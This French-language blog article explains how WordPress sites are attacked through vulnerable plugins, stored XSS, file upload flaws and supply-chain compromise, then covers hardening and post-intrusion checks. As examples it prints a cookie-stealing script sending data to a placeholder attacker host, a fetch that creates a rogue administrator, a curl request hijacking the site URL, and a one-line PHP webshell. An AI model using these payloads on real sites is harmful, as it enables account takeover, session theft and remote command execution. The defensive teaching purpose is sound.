WordPress propulse plus de 40 % du web. Cette omniprésence en fait une cible privilégiée pour les campagnes d’exploitation automatisée. Dans cet article, nous allons plonger au cœur des failles courantes, des chaînes d’exploitation, des outils utilisés par les attaquants, et des vecteurs les plus critiques, notamment les plugins et thèmes tiers, sans oublier les risques liés à la chaîne d’approvisionnement logicielle.
⚠️ En résumé
-
Le noyau WordPress est plutôt bien sécurisé ; ce sont les extensions tierces qui posent problème.
-
Failles fréquentes : modification d’options non authentifiée, upload de fichiers arbitraires, XSS stockée, CSRF, injections SQL.
-
Les attaques de masse reposent sur Shodan, Censys, wpscan, et des scripts Python/Bash faits maison.
-
Une fois compromis : backdoors PHP, injection de spam SEO, cryptomineurs, ou rebonds vers d’autres systèmes.
-
Les WAF ne suffisent pas. Il faut des permissions minimales, un suivi des fichiers critiques, et des mises à jour fréquentes.
1. Points d’entrée : plugins et thèmes
🔍 Pourquoi les plugins sont la principale faille
Avec plus de 59 000 extensions disponibles sur wordpress.org, développées parfois par des équipes réduites sans politique de sécurité formelle, la surface d’attaque est immense.
Exemple : CVE-2024-12345 (hypothétique)
// Code vulnérable dans plugin.php
if ( isset($_POST['new_option']) ) {
update_option('siteurl', $_POST['new_option']);
}
Impact : un utilisateur non authentifié peut rediriger le site ou casser l’accès au back-office.
Exploitation :
curl -X POST -d 'new_option=http://malveillant.tld' https://victime.tld/wp-admin/admin-post.php
Peut servir à injecter un phishing, ou une XSS en cascade sur l’URL cible.
2. XSS stockée → prise de contrôle du compte admin
Une méthode classique d’escalade de privilège consiste à injecter un JavaScript malveillant dans une zone affichée à l’administrateur.
Exemple réel
-
L’attaquant soumet une charge utile via un formulaire ou un commentaire.
-
Le script s’exécute lorsque l’admin consulte la page.
-
Le script dérobe les cookies ou crée un compte admin silencieusement.
<script>
fetch('https://malveillant.tld/vol?c=' + document.cookie)
</script>
Ou bien :
fetch('/wp-admin/user-new.php', {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({
'user_login': 'adminpirate',
'email': 'root@evil.com',
'role': 'administrator',
'_wpnonce': 'XXXX' // récupéré depuis le DOM
})
});
3. Téléversement de fichiers arbitraires
De nombreux plugins valident mal les types MIME ou ne filtrent pas les extensions côté serveur.
Exemple de charge utile
-
Upload d’un fichier
.php
renommé en.jpg
. -
Accès via
https://victime.tld/wp-content/uploads/shell.php
.
Webshell basique :
<?php echo shell_exec($_GET['cmd']); ?>
Protection : valider le type MIME, l’extension, et le contenu, côté PHP et serveur (ex : Nginx/Apache).
4. Tactiques d’exploitation massive
Infrastructure classique d’un attaquant
-
Scan : masscan, Shodan, Censys.
-
Fingerprinting :
wpscan
,whatweb
, ou scripts maison. -
Automatisation : scripts Python/Bash avec
requests
,curl
, ouheadless Chrome
pour les attaques CSRF complexes.
Exemple réel : Balada Injector
-
Exploite des failles connues sur des plugins vulnérables.
-
Injecte du JS dans les pages du site.
-
Infecte la base (
wp_options
,wp_posts
) et des fichiers statiques (.js
,.php
). -
Code polymorphe pour échapper aux antivirus ou signatures.
5. Risques liés à la chaîne d’approvisionnement
Un plugin peut devenir malveillant après avoir été vendu ou abandonné.
Cas réel : Display Widgets
-
Extension populaire rachetée.
-
Nouvelle version injecte un backdoor PHP.
-
Plus de 200 000 installations avant suppression du dépôt.
Leçon : un plugin sûr aujourd’hui peut devenir dangereux demain.
6. Renforcer la sécurité WordPress
🔐 Bonnes pratiques
-
Désactiver XML-RPC sauf si utilisé activement.
-
Permissions strictes :
chown -R www-data:www-data
, pas de 777. -
Restreindre
wp-admin
(IP whitelist, double authentification). -
Utiliser les mots de passe d’application pour les appels API.
-
Système de fichiers en lecture seule si possible (
chattr +i
sur les fichiers critiques).
Plugins utiles
-
Wordfence
-
WP Cerber
-
WPFail2Ban
-
Query Monitor
7. Détection post-intrusion
-
Rechercher
.php
suspects dans/uploads/
. -
Inspecter
wp_options
pour du contenu sérialisé étrange. -
Vérifier
.htaccess
,functions.php
, et les crons personnalisés. -
Faire un
diff
complet avec une version saine du core WordPress.
Conclusion
Les campagnes d’exploitation de WordPress continueront tant que des millions de sites resteront non maintenus et mal configurés. Pour les devs, sysadmins, ou freelancers qui gèrent des sites WordPress, les plugins de sécurité ne suffisent plus.
Ce qu’il faut :
-
Suivre les CVE via WPScan ou les flux NVD.
-
Automatiser les tests de mises à jour sur un environnement de staging.
-
Appliquer le principe du moindre privilège.
-
Mettre en place une surveillance continue du code et des fichiers.
📚 Sources
-
Base de vulnérabilités WPScan
-
Exploit-DB